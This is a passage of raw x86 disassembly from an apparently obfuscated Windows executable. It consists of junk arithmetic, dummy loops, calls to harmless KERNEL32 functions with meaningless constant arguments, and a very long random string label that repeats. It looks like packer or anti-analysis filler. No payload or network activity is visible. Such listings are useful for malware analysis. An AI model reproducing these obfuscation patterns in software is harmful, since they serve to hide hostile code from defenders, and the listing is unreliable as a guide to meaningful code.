kwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
call fcn.004150c0
mov ecx, dword [ebp + 0x10]
add ecx, 0x1dde
or ecx, 0x6236
xor ecx, 0x38cf
xor ecx, 0x68712530
mov edx, dword [ebp + 0x20]
and edx, 0x9752
add edx, 0xe779
xor edx, 0xe849
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov dword [ebp - 0x74], 0
jmp 0x41e9f6
mov eax, dword [ebp - 0x74]
add eax, 1
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0xabf0
cmp dword [ebp - 0x74], ecx
jge 0x41ea0f
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
jmp 0x41e9ed
mov eax, dword [0x51a8bc]
add eax, 0x13e40
push eax
mov ecx, dword [ebp - 0x48]
add ecx, 0x273c
push ecx
mov edx, dword [0x51a884]
add edx, 0x14cc
push edx
mov eax, dword [0x51a880]
add eax, 0xaf29
push eax
call fcn.00405d10
add esp, 0x10
mov ecx, dword [ebp - 0x24]
add ecx, 0x857f
push ecx
mov edx, dword [ebp - 0x2c]
add edx, 0x2ba5
push edx
mov eax, dword [0x51a884]
add eax, 0x14cc
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x1f46
push ecx
call fcn.00405d10
add esp, 0x10
mov edx, dword [ebp + 0x18]
xor edx, 0xbfcd
xor edx, 0x9c31
xor edx, 0x7673b933
mov eax, dword [ebp + 0xc]
xor eax, 0xb97e
xor eax, 0x366a
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov dword [ebp - 0x78], 0
jmp 0x41eaaf
mov ecx, dword [ebp - 0x78]
add ecx, 1
mov dword [ebp - 0x78], ecx
mov edx, dword [ebp - 0x3c]
sub edx, 0x61a6
cmp dword [ebp - 0x78], edx
jge 0x41eb9b
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x34]
jge 0x41ead5
mov dword [ebp - 0x5b8], 1
jmp 0x41eadf
mov dword [ebp - 0x5b8], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp - 0x48]
jge 0x41eaf3
mov dword [ebp - 0x5bc], 1
jmp 0x41eafd
mov dword [ebp - 0x5bc], 0
mov edx, dword [0x51a8b8]
or edx, dword [ebp - 0x5b8]
or edx, dword [ebp - 0x5bc]
je 0x41eb96
mov eax, dword [0x51a8cc]
cmp eax, dword [0x51a878]
jne 0x41eb96
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 8]
jne 0x41eb96
mov edx, dword [0x51a878]
cmp edx, dword [0x51a884]
jne 0x41eb96
mov eax, dword [ebp - 4]
xor eax, dword [0x51a8bc]
cmp eax, dword [ebp - 0x60]
jge 0x41eb52
mov dword [ebp - 0x5c0], 1
jmp 0x41eb5c
mov dword [ebp - 0x5c0], 0
mov ecx, dword [0x51a878]
add ecx, dword [0x51a87c]
or ecx, dword [ebp - 0x5c0]
je 0x41eb96
push 0x17e75
push 0x16f5a
push 0xc298
push 0x18433
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
add esp, 0x10
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
jmp 0x41eaa6
mov eax, 0x4280
sub eax, dword [ebp + 0x20]
xor eax, 0x989ea57c
mov ecx, dword [ebp + 0xc]
xor ecx, 0xeff7
xor ecx, 0xd450
xor ecx, 0xb007
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov dword [ebp - 0x7c], 0
jmp 0x41ebd5
mov edx, dword [ebp - 0x7c]
add edx, 1
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 4]
sub eax, 0x16e77
cmp dword [ebp - 0x7c], eax
jge 0x41ed3b
mov ecx, dword [0x51a87c]
sub ecx, 1
mov dword [0x51a87c], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x138c], edx
mov eax, dword [0x51a87c]
mov dword [ebp - 0x1390], eax
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x138c]
cmp edx, dword [ebp - 0x1390]
jge 0x41ec2c
mov dword [ebp - 0x5c4], 1
jmp 0x41ec36
mov dword [ebp - 0x5c4], 0
mov eax, dword [0x51a8a8]
and eax, dword [0x51a8bc]
and eax, dword [ebp - 0x5c4]
je 0x41ed36
mov ecx, dword [0x51a874]
cmp ecx, dword [ebp - 0x2c]
jge 0x41ec64
mov dword [ebp - 0x5c8], 1
jmp 0x41ec6e
mov dword [ebp - 0x5c8], 0
mov edx, dword [ebp - 0xc]
add edx, dword [0x51a8cc]
cmp edx, dword [0x51a878]
jge 0x41ec8b
mov dword [ebp - 0x5cc], 1
jmp 0x41ec95
mov dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1394], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x1398], ecx
mov edx, dword [ebp - 0x4c]
sub edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x1394]
cmp eax, dword [ebp - 0x1398]
jge 0x41ecca
mov dword [ebp - 0x5d0], 1
jmp 0x41ecd4
mov dword [ebp - 0x5d0], 0
mov ecx, dword [ebp - 0x5c8]
or ecx, dword [ebp - 0x5cc]
or ecx, dword [ebp - 0x5d0]
je 0x41ed36
mov edx, dword [ebp - 0x44]
cmp edx, dword [0x51a884]
jge 0x41ed36
mov eax, dword [0x51a8c0]
cmp eax, dword [ebp - 0x38]
jne 0x41ed36
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x28]
jne 0x41ed36
push 0x3fe5
push 0x161d9
push 0x6535
push 0x5863
push 0x12396
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
add esp, 0x14
mov edx, dword [0x51a884]
add edx, 1
mov dword [0x51a884], edx
jmp 0x41ebcc
mov eax, dword [0x51a86c]
cmp eax, dword [0x51a870]
jge 0x41ee04
mov ecx, dword [0x51a86c]
sub ecx, dword [ebp - 0x2c]
cmp ecx, dword [0x51a85c]
jge 0x41ed69
mov dword [ebp - 0x5d4], 1
jmp 0x41ed73
mov dword [ebp - 0x5d4], 0
mov edx, dword [0x51a87c]
cmp edx, dword [ebp - 4]
jge 0x41ed8a
mov dword [ebp - 0x5d8], 1
jmp 0x41ed94
mov dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
xor ecx, dword [ebp - 0x1c]
and ecx, dword [ebp - 0x5d4]
and ecx, dword [ebp - 0x18]
and ecx, dword [ebp - 0x5d8]
je 0x41ee04
mov edx, dword [ebp - 0x4c]
cmp edx, dword [0x51a87c]
jge 0x41ee04
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0xc]
jne 0x41ee04
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x40]
jne 0x41ee04
mov edx, dword [ebp - 0x48]
sub edx, 1
mov dword [ebp - 0x48], edx
push 0xe68b
push 0x6aec
push 0xa018
push 0x11761
push 0xd916
push 0x10c2c
push 0x6d95
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
add esp, 0x1c
mov eax, dword [ebp + 0x10]
add eax, 0xb43c
xor eax, 0x61506d42
mov ecx, dword [ebp + 8]
and ecx, 0xff77
xor ecx, 0xe2c7
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov dword [ebp - 0x80], 0
jmp 0x41ee38
mov edx, dword [ebp - 0x80]
add edx, 1
mov dword [ebp - 0x80], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x3507
cmp dword [ebp - 0x80], eax
jge 0x41ee50
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
jmp 0x41ee2f
mov edx, dword [ebp - 0x1c]
sub edx, 0x4d8
push edx
mov eax, dword [0x51a880]
add eax, 0xdb7e
push eax
call fcn.00411d90
add esp, 8
mov dword [ebp - 0x84], 0
jmp 0x41ee88
mov ecx, dword [ebp - 0x84]
add ecx, 1
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x3507
cmp dword [ebp - 0x84], edx
jge 0x41eea4
mov eax, dword [ebp - 0x60]
sub eax, 1
mov dword [ebp - 0x60], eax
jmp 0x41ee79
mov ecx, dword [ebp - 0x30]
sub ecx, 0xb84c
push ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x2889
push edx
mov eax, dword [ebp - 0x5c]
sub eax, 0x859c
push eax
call fcn.00410ac0
add esp, 0xc
mov ecx, dword [ebp + 0x1c]
add ecx, 0x18e4
xor ecx, 0x52735b11
mov edx, 0xc75f
sub edx, dword [ebp + 0xc]
xor edx, 0x3c2f
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov eax, dword [ebp - 0x14]
add eax, 0x2024
push eax
mov ecx, dword [0x51a880]
add ecx, 0x12322
push ecx
mov edx, dword [ebp - 0xc]
add edx, 0xf1c3
push edx
mov eax, dword [ebp - 0x14]
add eax, 0x492c
push eax
mov ecx, dword [0x51a86c]
sub ecx, 0xd625
push ecx
mov edx, dword [0x51a874]
sub edx, 0x2a5f
push edx
mov eax, dword [ebp - 0x14]
sub eax, 0xa03
push eax
mov ecx, dword [ebp - 0x50]
sub ecx, 0xe0ab
push ecx
call fcn.00416f20
add esp, 0x20
mov dword [ebp - 0x88], 0
jmp 0x41ef65
mov edx, dword [ebp - 0x88]
add edx, 1
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x40]
sub eax, 0x81e6
cmp dword [ebp - 0x88], eax
jge 0x41ef80
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov dword [ebp - 0x50], ecx
jmp 0x41ef56
mov edx, dword [ebp + 0x10]
xor edx, 0x113d8
xor edx, 0x50b3
xor edx, 0x745378e2
mov eax, dword [ebp + 0xc]
add eax, 0xbdc1
and eax, 0xc023
add eax, 0xbee4
xor eax, 0xfa41
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrs